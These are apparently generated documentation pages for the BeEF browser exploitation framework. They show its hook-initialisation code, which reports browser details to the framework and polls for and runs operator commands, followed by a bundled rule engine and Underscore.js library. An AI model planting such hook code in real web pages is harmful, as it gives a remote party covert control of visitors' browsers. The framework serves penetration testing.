beef.session.get_hook_session_id();

if (beef.pageIsLoaded) {
    beef.net.browser_details();
}
/**
 * @memberof beef.init
 */
window.onload = function () {
    beef_init();
};
/**
 * @memberof beef.init
 */
window.onpopstate = function (event) {
    if (beef.onpopstate.length > 0) {
        event.preventDefault;
        for (var i = 0; i < beef.onpopstate.length; i++) {
            var callback = beef.onpopstate[i];
            try {
                callback(event);
            } catch (e) {
                beef.debug("window.onpopstate - couldn't execute callback: " + e.message);
            }
            return false;
        }
    }
};
/**
 * @memberof beef.init
 */
window.onclose = function (event) {
    if (beef.onclose.length > 0) {
        event.preventDefault;
        for (var i = 0; i < beef.onclose.length; i++) {
            var callback = beef.onclose[i];
            try {
                callback(event);
            } catch (e) {
                beef.debug("window.onclose - couldn't execute callback: " + e.message);
            }
            return false;
        }
    }
};

/**
 * Starts the polling mechanism, and initialize various components:
 *  - browser details (see browser.js) are sent back to the "/init" handler
 *  - the polling starts (checks for new commands, and execute them)
 *  - the logger component is initialized (see logger.js)
 *  - the Autorun Engine is initialized (see are.js)
 * @memberof beef.init
 */
function beef_init() {
    if (!beef.pageIsLoaded) {
        beef.pageIsLoaded = true;
        beef.net.browser_details();

        if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
            setTimeout(function(){
                beef.websocket.start();
                beef.updater.execute_commands();
                beef.logger.start();
            }, parseInt(beef.websocket.ws_connect_timeout));
        }else {
            beef.net.browser_details();
            beef.updater.execute_commands();
            beef.updater.check();
            beef.logger.start();
        }
    }
}

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/lib_browser_jools.js.html ================================================ JSDoc: Source: lib/browser_jools.js

Source: lib/browser_jools.js

/**
 * @namespace browser_jools
 */

/**
 * @memberof browser_jools
 * @param file 
 * @param cwd 
 */
var require = function (file, cwd) {
    var resolved = require.resolve(file, cwd || '/');
    var mod = require.modules[resolved];
    if (!mod) throw new Error(
        'Failed to resolve module ' + file + ', tried ' + resolved
    );
    var res = mod._cached ? mod._cached : mod();
    return res;
}

require.paths = [];
require.modules = {};
require.extensions = [".js",".coffee"];

require._core = {
    'assert': true,
    'events': true,
    'fs': true,
    'path': true,
    'vm': true
};
/**
 * @memberof browser_jools
 */
require.resolve = (function () {
    return function (x, cwd) {
        if (!cwd) cwd = '/';
        
        if (require._core[x]) return x;
        var path = require.modules.path();
        cwd = path.resolve('/', cwd);
        var y = cwd || '/';
        
        if (x.match(/^(?:\.\.?\/|\/)/)) {
            var m = loadAsFileSync(path.resolve(y, x))
                || loadAsDirectorySync(path.resolve(y, x));
            if (m) return m;
        }
        
        var n = loadNodeModulesSync(x, y);
        if (n) return n;
        
        throw new Error("Cannot find module '" + x + "'");
        
        function loadAsFileSync (x) {
            if (require.modules[x]) {
                return x;
            }
            
            for (var i = 0; i < require.extensions.length; i++) {
                var ext = require.extensions[i];
                if (require.modules[x + ext]) return x + ext;
            }
        }
        
        function loadAsDirectorySync (x) {
            x = x.replace(/\/+$/, '');
            var pkgfile = x + '/package.json';
            if (require.modules[pkgfile]) {
                var pkg = require.modules[pkgfile]();
                var b = pkg.browserify;
                if (typeof b === 'object' && b.main) {
                    var m = loadAsFileSync(path.resolve(x, b.main));
                    if (m) return m;
                }
                else if (typeof b === 'string') {
                    var m = loadAsFileSync(path.resolve(x, b));
                    if (m) return m;
                }
                else if (pkg.main) {
                    var m = loadAsFileSync(path.resolve(x, pkg.main));
                    if (m) return m;
                }
            }
            
            return loadAsFileSync(x + '/index');
        }
        
        function loadNodeModulesSync (x, start) {
            var dirs = nodeModulesPathsSync(start);
            for (var i = 0; i < dirs.length; i++) {
                var dir = dirs[i];
                var m = loadAsFileSync(dir + '/' + x);
                if (m) return m;
                var n = loadAsDirectorySync(dir + '/' + x);
                if (n) return n;
            }
            
            var m = loadAsFileSync(x);
            if (m) return m;
        }
        
        function nodeModulesPathsSync (start) {
            var parts;
            if (start === '/') parts = [ '' ];
            else parts = path.normalize(start).split('/');
            
            var dirs = [];
            for (var i = parts.length - 1; i >= 0; i--) {
                if (parts[i] === 'node_modules') continue;
                var dir = parts.slice(0, i + 1).join('/') + '/node_modules';
                dirs.push(dir);
            }
            
            return dirs;
        }
    };
})();
/**
 * @memberof browser_jools
 */
require.alias = function (from, to) {
    var path = require.modules.path();
    var res = null;
    try {
        res = require.resolve(from + '/package.json', '/');
    }
    catch (err) {
        res = require.resolve(from, '/');
    }
    var basedir = path.dirname(res);
    
    var keys = (Object.keys || function (obj) {
        var res = [];
        for (var key in obj) res.push(key)
        return res;
    })(require.modules);
    
    for (var i = 0; i < keys.length; i++) {
        var key = keys[i];
        if (key.slice(0, basedir.length + 1) === basedir + '/') {
            var f = key.slice(basedir.length);
            require.modules[to + f] = require.modules[basedir + f];
        }
        else if (key === basedir) {
            require.modules[to] = require.modules[basedir];
        }
    }
};
/**
 * @memberof browser_jools
 */
require.define = function (filename, fn) {
    var dirname = require._core[filename]
        ? ''
        : require.modules.path().dirname(filename)
    ;
    
    var require_ = function (file) {
        return require(file, dirname)
    };
    require_.resolve = function (name) {
        return require.resolve(name, dirname);
    };
    require_.modules = require.modules;
    require_.define = require.define;
    var module_ = { exports : {} };
    
    require.modules[filename] = function () {
        require.modules[filename]._cached = module_.exports;
        fn.call(
            module_.exports,
            require_,
            module_,
            module_.exports,
            dirname,
            filename
        );
        require.modules[filename]._cached = module_.exports;
        return module_.exports;
    };
};

if (typeof process === 'undefined') process = {};

if (!process.nextTick) process.nextTick = (function () {
    var queue = [];
    var canPost = typeof window !== 'undefined'
        && window.postMessage && window.addEventListener
    ;
    
    if (canPost) {
        window.addEventListener('message', function (ev) {
            if (ev.source === window && ev.data === 'browserify-tick') {
                ev.stopPropagation();
                if (queue.length > 0) {
                    var fn = queue.shift();
                    fn();
                }
            }
        }, true);
    }
    
    return function (fn) {
        if (canPost) {
            queue.push(fn);
            window.postMessage('browserify-tick', '*');
        }
        else setTimeout(fn, 0);
    };
})();

if (!process.title) process.title = 'browser';

if (!process.binding) process.binding = function (name) {
    if (name === 'evals') return require('vm')
    else throw new Error('No such module')
};

if (!process.cwd) process.cwd = function () { return '.' };

if (!process.env) process.env = {};
if (!process.argv) process.argv = [];

require.define("path", function (require, module, exports, __dirname, __filename) {
function filter (xs, fn) {
    var res = [];
    for (var i = 0; i < xs.length; i++) {
        if (fn(xs[i], i, xs)) res.push(xs[i]);
    }
    return res;
}

/**
 * resolves . and .. elements in a path array with directory names there
 * must be no slashes, empty elements, or device names (c:\) in the array
 * (so also no leading and trailing slashes - it does not distinguish
 * relative and absolute paths)
 * @memberof browser_jools
 * @param parts 
 * @param allowAboveRoot 
 */
function normalizeArray(parts, allowAboveRoot) {
  // if the path tries to go above the root, `up` ends up > 0
  var up = 0;
  for (var i = parts.length; i >= 0; i--) {
    var last = parts[i];
    if (last == '.') {
      parts.splice(i, 1);
    } else if (last === '..') {
      parts.splice(i, 1);
      up++;
    } else if (up) {
      parts.splice(i, 1);
      up--;
    }
  }

  // if the path is allowed to go above the root, restore leading ..s
  if (allowAboveRoot) {
    for (; up--; up) {
      parts.unshift('..');
    }
  }

  return parts;
}

// Regex to split a filename into [*, dir, basename, ext]
// posix version
var splitPathRe = /^(.+\/(?!$)|\/)?((?:.+?)?(\.[^.]*)?)$/;

// path.resolve([from ...], to)
// posix version
exports.resolve = function() {
var resolvedPath = '',
    resolvedAbsolute = false;

for (var i = arguments.length; i >= -1 && !resolvedAbsolute; i--) {
  var path = (i >= 0)
      ? arguments[i]
      : process.cwd();

  // Skip empty and invalid entries
  if (typeof path !== 'string' || !path) {
    continue;
  }

  resolvedPath = path + '/' + resolvedPath;
  resolvedAbsolute = path.charAt(0) === '/';
}

// At this point the path should be resolved to a full absolute path, but
// handle relative paths to be safe (might happen when process.cwd() fails)

// Normalize the path
resolvedPath = normalizeArray(filter(resolvedPath.split('/'), function(p) {
    return !!p;
  }), !resolvedAbsolute).join('/');

  return ((resolvedAbsolute ? '/' : '') + resolvedPath) || '.';
};

// path.normalize(path)
// posix version
exports.normalize = function(path) {
var isAbsolute = path.charAt(0) === '/',
    trailingSlash = path.slice(-1) === '/';

// Normalize the path
path = normalizeArray(filter(path.split('/'), function(p) {
    return !!p;
  }), !isAbsolute).join('/');

  if (!path && !isAbsolute) {
    path = '.';
  }
  if (path && trailingSlash) {
    path += '/';
  }
  
  return (isAbsolute ? '/' : '') + path;
};


// posix version
exports.join = function() {
  var paths = Array.prototype.slice.call(arguments, 0);
  return exports.normalize(filter(paths, function(p, index) {
    return p && typeof p === 'string';
  }).join('/'));
};


exports.dirname = function(path) {
  var dir = splitPathRe.exec(path)[1] || '';
  var isWindows = false;
  if (!dir) {
    // No dirname
    return '.';
  } else if (dir.length === 1 ||
      (isWindows && dir.length <= 3 && dir.charAt(1) === ':')) {
    // It is just a slash or a drive letter with a slash
    return dir;
  } else {
    // It is a full dirname, strip trailing slash
    return dir.substring(0, dir.length - 1);
  }
};


exports.basename = function(path, ext) {
  var f = splitPathRe.exec(path)[2] || '';
  // TODO: make this comparison case-insensitive on windows?
  if (ext && f.substr(-1 * ext.length) === ext) {
    f = f.substr(0, f.length - ext.length);
  }
  return f;
};


exports.extname = function(path) {
  return splitPathRe.exec(path)[3] || '';
};

});

require.define("/node_modules/jools/package.json", function (require, module, exports, __dirname, __filename) {
module.exports = {"main":"./lib/jools"}
});

require.define("/node_modules/jools/lib/jools.js", function (require, module, exports, __dirname, __filename) {
/**
 * Module dependencies.
 */
var utils = require('./utils')
  , _ = require('underscore');

/**
 * version
 * @memberof browser_jools
 */
exports.version = '0.0.1';

/**
 * Jools constructor.
 *
 * A rule consists of:
 *   - Descriptive name
 *   - One or more conditions
 *   - One or more consequences, which are fired when all conditions evaluate to true.
 * @memberof browser_jools
 * @param {Object} rules
 */
function Jools(rules) {
  this.rules = rules;
}

/**
 * execute rules with fact
 *
 * @param {Object} fact
 */
Jools.prototype.execute = function (fact) {
  var self = this
    , session = _.clone(fact)
    , last_session = _.clone(fact)
    , goal = false;

  while (!goal) {
    var changes = false;
    for (var x=0; x < this.rules.length; x++) {
      var rule = this.rules[x]
        , outcome;

      _.flatten([rule.condition]).forEach(function (cnd) {
        cnd.__args = cnd.__args || utils.paramNames(cnd); 

        if (outcome) {
          outcome = outcome && cnd.apply({}, utils.paramsToArguments(session, cnd.__args)); 
        } else {
          outcome = cnd.apply({}, utils.paramsToArguments(session, cnd.__args));
        }
      });
      if (outcome) {
        _.flatten([rule.consequence]).forEach(function (csq) {
          csq.__args = csq.__args || utils.paramNames(csq); 
          csq.apply(session, utils.paramsToArguments(fact, csq.__args));
          if (!_.isEqual(last_session,session)) {
            // Fire all rules again!
            changes = true;
            last_session = _.clone(session);
          } 
        });
      }
      if(changes) break;
    }
    if (!changes) goal = true;
  }
  return session;
};

module.exports = Jools;


});

require.define("/node_modules/jools/lib/utils.js", function (require, module, exports, __dirname, __filename) {
/**
 * Returns an array of parameter names of the function f
 * @memberof browser_jools
 * @param {Function} f
 */
module.exports.paramNames = function (f) {
  var m = /function[^\(]*\(([^\)]*)\)/.exec(f.toString());
  if (!m) throw new TypeError("Invalid functions");

  var params = [];
  m[1].split(',').forEach(function (p) {
    params.push(p.replace(/^\s*|\s*$/g, ''));
  });

  return params;
};

/**
 * Creates an array of arguments
 * @memberof browser_jools
 * @param {Object} obj
 * @param {Array} params
 */
module.exports.paramsToArguments = function (obj, params) {
  var args = [];
  params.forEach(function (p) {
    args.push(obj[p]);
  });
  return args;
}


});

require.define("/node_modules/underscore/package.json", function (require, module, exports, __dirname, __filename) {
module.exports = {"main":"underscore.js"}
});

require.define("/node_modules/underscore/underscore.js", function (require, module, exports, __dirname, __filename) {
//     Underscore.js 1.3.3
//     (c) 2009-2012 Jeremy Ashkenas, DocumentCloud Inc.
//     Underscore is freely distributable under the MIT license.
//     Portions of Underscore are inspired or borrowed from Prototype,
//     Oliver Steele's Functional, and John Resig's Micro-Templating.
//     For all details and documentation:
//     http://documentcloud.github.com/underscore

(function() {

  // Baseline setup
  // --------------

  // Establish the root object, `window` in the browser, or `global` on the server.
  var root = this;

  // Save the previous value of the `_` variable.
  var previousUnderscore = root._;

  // Establish the object that gets returned to break out of a loop iteration.
  var breaker = {};

  // Save bytes in the minified (but not gzipped) version:
  var ArrayProto = Array.prototype, ObjProto = Object.prototype, FuncProto = Function.prototype;

  // Create quick reference variables for speed access to core prototypes.
  var slice            = ArrayProto.slice,
      unshift          = ArrayProto.unshift,
      toString         = ObjProto.toString,
      hasOwnProperty   = ObjProto.hasOwnProperty;

  // All **ECMAScript 5** native function implementations that we hope to use
  // are declared here.
  var
    nativeForEach      = ArrayProto.forEach,
    nativeMap          = ArrayProto.map,
    nativeReduce       = ArrayProto.reduce,
    nativeReduceRight  = ArrayProto.reduceRight,
    nativeFilter       = ArrayProto.filter,
    nativeEvery        = ArrayProto.every,
    nativeSome         = ArrayProto.some,
    nativeIndexOf      = ArrayProto.indexOf,
    nativeLastIndexOf  = ArrayProto.lastIndexOf,
    nativeIsArray      = Array.isArray,
    nativeKeys         = Object.keys,
    nativeBind         = FuncProto.bind;

  // Create a safe reference to the Underscore object for use below.
  var _ = function(obj) { return new wrapper(obj); };

  // Export the Underscore object for **Node.js**, with
  // backwards-compatibility for the old `require()` API. If we're in
  // the browser, add `_` as a global object via a string identifier,
  // for Closure Compiler "advanced" mode.
  if (typeof exports !== 'undefined') {
    if (typeof module !== 'undefined' && module.exports) {
      exports = module.exports = _;
    }
    exports._ = _;
  } else {
    root['_'] = _;
  }

  // Current version.
  _.VERSION = '1.3.3';

  // Collection Functions
  // --------------------

  // The cornerstone, an `each` implementation, aka `forEach`.
  // Handles objects with the built-in `forEach`, arrays, and raw objects.
  // Delegates to **ECMAScript 5**'s native `forEach` if available.
  var each = _.each = _.forEach = function(obj, iterator, context) {
    if (obj == null) return;
    if (nativeForEach && obj.forEach === nativeForEach) {
      obj.forEach(iterator, context);
    } else if (obj.length === +obj.length) {
      for (var i = 0, l = obj.length; i < l; i++) {
        if (i in obj && iterator.call(context, obj[i], i, obj) === breaker) return;
      }
    } else {
      for (var key in obj) {
        if (_.has(obj, key)) {
          if (iterator.call(context, obj[key], key, obj) === breaker) return;
        }
      }
    }
  };

  // Return the results of applying the iterator to each element.
  // Delegates to **ECMAScript 5**'s native `map` if available.
  _.map = _.collect = function(obj, iterator, context) {
    var results = [];
    if (obj == null) return results;
    if (nativeMap && obj.map === nativeMap) return obj.map(iterator, context);
    each(obj, function(value, index, list) {
      results[results.length] = iterator.call(context, value, index, list);
    });
    if (obj.length === +obj.length) results.length = obj.length;
    return results;
  };

  // **Reduce** builds up a single result from a list of values, aka `inject`,
  // or `foldl`. Delegates to **ECMAScript 5**'s native `reduce` if available.
  _.reduce = _.foldl = _.inject = function(obj, iterator, memo, context) {
    var initial = arguments.length > 2;
    if (obj == null) obj = [];
    if (nativeReduce && obj.reduce === nativeReduce) {
      if (context) iterator = _.bind(iterator, context);
      return initial ? obj.reduce(iterator, memo) : obj.reduce(iterator);
    }
    each(obj, function(value, index, list) {
      if (!initial) {
        memo = value;
        initial = true;
      } else {
        memo = iterator.call(context, memo, value, index, list);
      }
    });
    if (!initial) throw new TypeError('Reduce of empty array with no initial value');
    return memo;
  };

  // The right-associative version of reduce, also known as `foldr`.
  // Delegates to **ECMAScript 5**'s native `reduceRight` if available.
  _.reduceRight = _.foldr = function(obj, iterator, memo, context) {
    var initial = arguments.length > 2;
    if (obj == null) obj = [];
    if (nativeReduceRight && obj.reduceRight === nativeReduceRight) {
      if (context) iterator = _.bind(iterator, context);
      return initial ? obj.reduceRight(iterator, memo) : obj.reduceRight(iterator);
    }
    var reversed = _.toArray(obj).reverse();
    if (context && !initial) iterator = _.bind(iterator, context);
    return initial ? _.reduce(reversed, iterator, memo, context) : _.reduce(reversed, iterator);
  };

  // Return the first value which passes a truth test. Aliased as `detect`.
  _.find = _.detect = function(obj, iterator, context) {
    var result;
    any(obj, function(value, index, list) {
      if (iterator.call(context, value, index, list)) {
        result = value;
        return true;
      }
    });
    return result;
  };

  // Return all the elements that pass a truth test.
  // Delegates to **ECMAScript 5**'s native `filter` if available.
  // Aliased as `select`.
  _.filter = _.select = function(obj, iterator, context) {
    var results = [];
    if (obj == null) return results;
    if (nativeFilter && obj.filter === nativeFilter) return obj.filter(iterator, context);
    each(obj, function(value, index, list) {
      if (iterator.call(context, value, index, list)) results[results.length] = value;
    });
    return results;
  };

  // Return all the elements for which a truth test fails.
  _.reject = function(obj, iterator, context) {
    var results = [];
    if (obj == null) return results;
    each(obj, function(value, index, list) {
      if (!iterator.call(context, value, index, list)) results[results.length] = value;
    });
    return results;
  };

  // Determine whether all of the elements match a truth test.
  // Delegates to **ECMAScript 5**'s native `every` if available.
  // Aliased as `all`.
  _.every = _.all = function(obj, iterator, context) {
    var result = true;
    if (obj == null) return result;
    if (nativeEvery && obj.every === nativeEvery) return obj.every(iterator, context);
    each(obj, function(value, index, list) {
      if (!(result = result && iterator.call(context, value, index, list))) return breaker;
    });
    return !!result;
  };

  // Determine if at least one element in the object matches a truth test.
  // Delegates to **ECMAScript 5**'s native `some` if available.
  // Aliased as `any`.
  var any = _.some = _.any = function(obj, iterator, context) {
    iterator || (iterator = _.identity);
    var result = false;
    if (obj == null) return result;
    if (nativeSome && obj.some === nativeSome) return obj.some(iterator, context);
    each(obj, function(value, index, list) {
      if (result || (result = iterator.call(context, value, index, list))) return breaker;
    });
    return !!result;
  };

  // Determine if a given value is included in the array or object using `===`.
  // Aliased as `contains`.
  _.include = _.contains = function(obj, target) {
    var found = false;
    if (obj == null) return found;
    if (nativeIndexOf && obj.indexOf === nativeIndexOf) return obj.indexOf(target) != -1;
    found = any(obj, function(value) {
      return value === target;
    });
    return found;
  };

  // Invoke a method (with arguments) on every item in a collection.
  _.invoke = function(obj, method) {
    var args = slice.call(arguments, 2);
    return _.map(obj, function(value) {
      return (_.isFunction(method) ? method || value : value[method]).apply(value, args);
    });
  };

  // Convenience version of a common use case of `map`: fetching a property.
  _.pluck = function(obj, key) {
    return _.map(obj, function(value){ return value[key]; });
  };

  // Return the maximum element or (element-based computation).
  _.max = function(obj, iterator, context) {
    if (!iterator && _.isArray(obj) && obj[0] === +obj[0]) return Math.max.apply(Math, obj);
    if (!iterator && _.isEmpty(obj)) return -Infinity;
    var result = {computed : -Infinity};
    each(obj, function(value, index, list) {
      var computed = iterator ? iterator.call(context, value, index, list) : value;
      computed >= result.computed && (result = {value : value, computed : computed});
    });
    return result.value;
  };

  // Return the minimum element (or element-based computation).
  _.min = function(obj, iterator, context) {
    if (!iterator && _.isArray(obj) && obj[0] === +obj[0]) return Math.min.apply(Math, obj);
    if (!iterator && _.isEmpty(obj)) return Infinity;
    var result = {computed : Infinity};
    each(obj, function(value, index, list) {
      var computed = iterator ? iterator.call(context, value, index, list) : value;
      computed < result.computed && (result = {value : value, computed : computed});
    });
    return result.value;
  };

  // Shuffle an array.
  _.shuffle = function(obj) {
    var shuffled = [], rand;
    each(obj, function(value, index, list) {
      rand = Math.floor(Math.random() * (index + 1));
      shuffled[index] = shuffled[rand];
      shuffled[rand] = value;
    });
    return shuffled;
  };

  // Sort the object's values by a criterion produced by an iterator.
  _.sortBy = function(obj, val, context) {
    var iterator = _.isFunction(val) ? val : function(obj) { return obj[val]; };
    return _.pluck(_.map(obj, function(value, index, list) {
      return {
        value : value,
        criteria : iterator.call(context, value, index, list)
      };
    }).sort(function(left, right) {
      var a = left.criteria, b = right.criteria;
      if (a === void 0) return 1;
      if (b === void 0) return -1;
      return a < b ? -1 : a > b ? 1 : 0;
    }), 'value');
  };

  // Groups the object's values by a criterion. Pass either a string attribute
  // to group by, or a function that returns the criterion.
  _.groupBy = function(obj, val) {
    var result = {};
    var iterator = _.isFunction(val) ? val : function(obj) { return obj[val]; };
    each(obj, function(value, index) {
      var key = iterator(value, index);
      (result[key] || (result[key] = [])).push(value);
    });
    return result;
  };

  // Use a comparator function to figure out at what index an object should
  // be inserted so as to maintain order. Uses binary search.
  _.sortedIndex = function(array, obj, iterator) {
    iterator || (iterator = _.identity);
    var low = 0, high = array.length;
    while (low < high) {
      var mid = (low + high) >> 1;
      iterator(array[mid]) < iterator(obj) ? low = mid + 1 : high = mid;
    }
    return low;
  };

  // Safely convert anything iterable into a real, live array.
  _.toArray = function(obj) {
    if (!obj)                                     return [];
    if (_.isArray(obj))                           return slice.call(obj);
    if (_.isArguments(obj))                       return slice.call(obj);
    if (obj.toArray && _.isFunction(obj.toArray)) return obj.toArray();
    return _.values(obj);
  };

  // Return the number of elements in an object.
  _.size = function(obj) {
    return _.isArray(obj) ? obj.length : _.keys(obj).length;
  };

  // Array Functions
  // ---------------

  // Get the first element of an array. Passing **n** will return the first N
  // values in the array. Aliased as `head` and `take`. The **guard** check
  // allows it to work with `_.map`.
  _.first = _.head = _.take = function(array, n, guard) {
    return (n != null) && !guard ? slice.call(array, 0, n) : array[0];
  };

  // Returns everything but the last entry of the array. Especcialy useful on
  // the arguments object. Passing **n** will return all the values in
  // the array, excluding the last N. The **guard** check allows it to work with
  // `_.map`.
  _.initial = function(array, n, guard) {
    return slice.call(array, 0, array.length - ((n == null) || guard ? 1 : n));
  };

  // Get the last element of an array. Passing **n** will return the last N
  // values in the array. The **guard** check allows it to work with `_.map`.
  _.last = function(array, n, guard) {
    if ((n != null) && !guard) {
      return slice.call(array, Math.max(array.length - n, 0));
    } else {
      return array[array.length - 1];
    }
  };

  // Returns everything but the first entry of the array. Aliased as `tail`.
  // Especially useful on the arguments object. Passing an **index** will return
  // the rest of the values in the array from that index onward. The **guard**
  // check allows it to work with `_.map`.
  _.rest = _.tail = function(array, index, guard) {
    return slice.call(array, (index == null) || guard ? 1 : index);
  };

  // Trim out all falsy values from an array.
  _.compact = function(array) {
    return _.filter(array, function(value){ return !!value; });
  };

  // Return a completely flattened version of an array.
  _.flatten = function(array, shallow) {
    return _.reduce(array, function(memo, value) {
      if (_.isArray(value)) return memo.concat(shallow ? value : _.flatten(value));
      memo[memo.length] = value;
      return memo;
    }, []);
  };

  // Return a version of the array that does not contain the specified value(s).
  _.without = function(array) {
    return _.difference(array, slice.call(arguments, 1));
  };

  // Produce a duplicate-free version of the array. If the array has already
  // been sorted, you have the option of using a faster algorithm.
  // Aliased as `unique`.
  _.uniq = _.unique = function(array, isSorted, iterator) {
    var initial = iterator ? _.map(array, iterator) : array;
    var results = [];
    // The `isSorted` flag is irrelevant if the array only contains two elements.
    if (array.length < 3) isSorted = true;
    _.reduce(initial, function (memo, value, index) {
      if (isSorted ? _.last(memo) !== value || !memo.length : !_.include(memo, value)) {
        memo.push(value);
        results.push(array[index]);
      }
      return memo;
    }, []);
    return results;
  };

  // Produce an array that contains the union: each distinct element from all of
  // the passed-in arrays.
  _.union = function() {
    return _.uniq(_.flatten(arguments, true));
  };

  // Produce an array that contains every item shared between all the
  // passed-in arrays. (Aliased as "intersect" for back-compat.)
  _.intersection = _.intersect = function(array) {
    var rest = slice.call(arguments, 1);
    return _.filter(_.uniq(array), function(item) {
      return _.every(rest, function(other) {
        return _.indexOf(other, item) >= 0;
      });
    });
  };

  // Take the difference between one array and a number of other arrays.
  // Only the elements present in just the first array will remain.
  _.difference = function(array) {
    var rest = _.flatten(slice.call(arguments, 1), true);
    return _.filter(array, function(value){ return !_.include(rest, value); });
  };

  // Zip together multiple lists into a single array -- elements that share
  // an index go together.
  _.zip = function() {
    var args = slice.call(arguments);
    var length = _.max(_.pluck(args, 'length'));
    var results = new Array(length);
    for (var i = 0; i < length; i++) results[i] = _.pluck(args, "" + i);
    return results;
  };

  // If the browser doesn't supply us with indexOf (I'm looking at you, **MSIE**),
  // we need this function. Return the position of the first occurrence of an
  // item in an array, or -1 if the item is not included in the array.
  // Delegates to **ECMAScript 5**'s native `indexOf` if available.
  // If the array is large and already in sort order, pass `true`
  // for **isSorted** to use binary search.
  _.indexOf = function(array, item, isSorted) {
    if (array == null) return -1;
    var i, l;
    if (isSorted) {
      i = _.sortedIndex(array, item);
      return array[i] === item ? i : -1;
    }
    if (nativeIndexOf && array.indexOf === nativeIndexOf) return array.indexOf(item);
    for (i = 0, l = array.length; i < l; i++) if (i in array && array[i] === item) return i;
    return -1;
  };

  // Delegates to **ECMAScript 5**'s native `lastIndexOf` if available.
  _.lastIndexOf = function(array, item) {
    if (array == null) return -1;
    if (nativeLastIndexOf && array.lastIndexOf === nativeLastIndexOf) return array.lastIndexOf(item);
    var i = array.length;
    while (i--) if (i in array && array[i] === item) return i;
    return -1;
  };

  // Generate an integer Array containing an arithmetic progression. A port of
  // the native Python `range()` function. See
  // [the Python documentation](http://docs.python.org/library/functions.html#range).
  _.range = function(start, stop, step) {
    if (arguments.length <= 1) {
      stop = start || 0;
      start = 0;
    }
    step = arguments[2] || 1;

    var len = Math.max(Math.ceil((stop - start) / step), 0);
    var idx = 0;
    var range = new Array(len);

    while(idx < len) {
      range[idx++] = start;
      start += step;
    }

    return range;
  };

  // Function (ahem) Functions
  // ------------------

  // Reusable constructor function for prototype setting.
  var ctor = function(){};

  // Create a function bound to a given object (assigning `this`, and arguments,
  // optionally). Binding with arguments is also known as `curry`.
  // Delegates to **ECMAScript 5**'s native `Function.bind` if available.
  // We check for `func.bind` first, to fail fast when `func` is undefined.
  _.bind = function bind(func, context) {
    var bound, args;
    if (func.bind === nativeBind && nativeBind) return nativeBind.apply(func, slice.call(arguments, 1));
    if (!_.isFunction(func)) throw new TypeError;
    args = slice.call(arguments, 2);
    return bound = function() {
      if (!(this instanceof bound)) return func.apply(context, args.concat(slice.call(arguments)));
      ctor.prototype = func.prototype;
      var self = new ctor;
      var result = func.apply(self, args.concat(slice.call(arguments)));
      if (Object(result) === result) return result;
      return self;
    };
  };

  // Bind all of an object's methods to that object. Useful for ensuring that
  // all callbacks defined on an object belong to it.
  _.bindAll = function(obj) {
    var funcs = slice.call(arguments, 1);
    if (funcs.length == 0) funcs = _.functions(obj);
    each(funcs, function(f) { obj[f] = _.bind(obj[f], obj); });
    return obj;
  };

  // Memoize an expensive function by storing its results.
  _.memoize = function(func, hasher) {
    var memo = {};
    hasher || (hasher = _.identity);
    return function() {
      var key = hasher.apply(this, arguments);
      return _.has(memo, key) ? memo[key] : (memo[key] = func.apply(this, arguments));
    };
  };

  // Delays a function for the given number of milliseconds, and then calls
  // it with the arguments supplied.
  _.delay = function(func, wait) {
    var args = slice.call(arguments, 2);
    return setTimeout(function(){ return func.apply(null, args); }, wait);
  };

  // Defers a function, scheduling it to run after the current call stack has
  // cleared.
  _.defer = function(func) {
    return _.delay.apply(_, [func, 1].concat(slice.call(arguments, 1)));
  };

  // Returns a function, that, when invoked, will only be triggered at most once
  // during a given window of time.
  _.throttle = function(func, wait) {
    var context, args, timeout, throttling, more, result;
    var whenDone = _.debounce(function(){ more = throttling = false; }, wait);
    return function() {
      context = this; args = arguments;
      var later = function() {
        timeout = null;
        if (more) func.apply(context, args);
        whenDone();
      };
      if (!timeout) timeout = setTimeout(later, wait);
      if (throttling) {
        more = true;
      } else {
        result = func.apply(context, args);
      }
      whenDone();
      throttling = true;
      return result;
    };
  };

  // Returns a function, that, as long as it continues to be invoked, will not
  // be triggered. The function will be called after it stops being called for
  // N milliseconds. If `immediate` is passed, trigger the function on the
  // leading edge, instead of the trailing.
  _.debounce = function(func, wait, immediate) {
    var timeout;
    return function() {
      var context = this, args = arguments;
      var later = function() {
        timeout = null;
        if (!immediate) func.apply(context, args);
      };
      if (immediate && !timeout) func.apply(context, args);
      clearTimeout(timeout);
      timeout = setTimeout(later, wait);
    };
  };

  // Returns a function that will be executed at most one time, no matter how
  // often you call it. Useful for lazy initialization.
  _.once = function(func) {
    var ran = false, memo;
    return function() {
      if (ran) return memo;
      ran = true;
      return memo = func.apply(this, arguments);
    };
  };

  // Returns the first function passed as an argument to the second,
  // allowing you to adjust arguments, run code before and after, and
  // conditionally execute the original function.
  _.wrap = function(func, wrapper) {
    return function() {
      var args = [func].concat(slice.call(arguments, 0));
      return wrapper.apply(this, args);
    };
  };

  // Returns a function that is the composition of a list of functions, each
  // consuming the return value of the function that follows.
  _.compose = function() {
    var funcs = arguments;
    return function() {
      var args = arguments;
      for (var i = funcs.length - 1; i >= 0; i--) {
        args = [funcs[i].apply(this, args)];
      }
      return args[0];
    };
  };

  // Returns a function that will only be executed after being called N times.
  _.after = function(times, func) {
    if (times <= 0) return func();
    return function() {
      if (--times < 1) { return func.apply(this, arguments); }
    };
  };

  // Object Functions
  // ----------------

  // Retrieve the names of an object's properties.
  // Delegates to **ECMAScript 5**'s native `Object.keys`
  _.keys = nativeKeys || function(obj) {
    if (obj !== Object(obj)) throw new TypeError('Invalid object');
    var keys = [];
    for (var key in obj) if (_.has(obj, key)) keys[keys.length] = key;
    return keys;
  };

  // Retrieve the values of an object's properties.
  _.values = function(obj) {
    return _.map(obj, _.identity);
  };

  // Return a sorted list of the function names available on the object.
  // Aliased as `methods`
  _.functions = _.methods = function(obj) {
    var names = [];
    for (var key in obj) {
      if (_.isFunction(obj[key])) names.push(key);
    }
    return names.sort();
  };

  // Extend a given object with all the properties in passed-in object(s).
  _.extend = function(obj) {
    each(slice.call(arguments, 1), function(source) {
      for (var prop in source) {
        obj[prop] = source[prop];
      }
    });
    return obj;
  };

  // Return a copy of the object only containing the whitelisted properties.
  _.pick = function(obj) {
    var result = {};
    each(_.flatten(slice.call(arguments, 1)), function(key) {
      if (key in obj) result[key] = obj[key];
    });
    return result;
  };

  // Fill in a given object with default properties.
  _.defaults = function(obj) {
    each(slice.call(arguments, 1), function(source) {
      for (var prop in source) {
        if (obj[prop] == null) obj[prop] = source[prop];
      }
    });
